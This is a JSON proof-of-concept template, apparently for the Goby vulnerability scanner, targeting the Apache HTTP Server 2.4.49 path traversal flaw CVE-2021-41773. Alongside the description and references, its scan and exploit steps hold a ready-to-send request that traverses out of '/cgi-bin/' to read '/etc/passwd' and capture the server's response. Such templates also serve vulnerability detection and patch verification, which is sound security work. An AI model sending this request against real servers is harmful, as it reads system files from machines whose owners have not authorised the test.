-
Notifications
You must be signed in to change notification settings - Fork 13
/
Apache_HTTP_Server_2.4.49_Path_Traversal_CVE_2021_41773.json
98 lines (98 loc) · 4.57 KB
/
Apache_HTTP_Server_2.4.49_Path_Traversal_CVE_2021_41773.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
{
"Name": "Apache HTTP Server 2.4.49 Path Traversal CVE-2021-41773",
"Level": "2",
"Tags": [
"pathtraversal"
],
"GobyQuery": "product=\"Apache-Web-Server\" || company=\"Apache Software Foundation.\"",
"Description": "The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards.",
"Product": "Apache HTTP Server",
"Homepage": "http://httpd.apache.org/",
"Author": "",
"Impact": "A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration \"require all denied\", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.",
"Recommendation": "https://httpd.apache.org/security/vulnerabilities_24.html",
"References": [
"https://nvd.nist.gov/vuln/detail/cve-2021-41773",
"https://httpd.apache.org/security/vulnerabilities_24.html"
],
"HasExp": true,
"ExpParams": null,
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "root",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "root",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|concat|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
}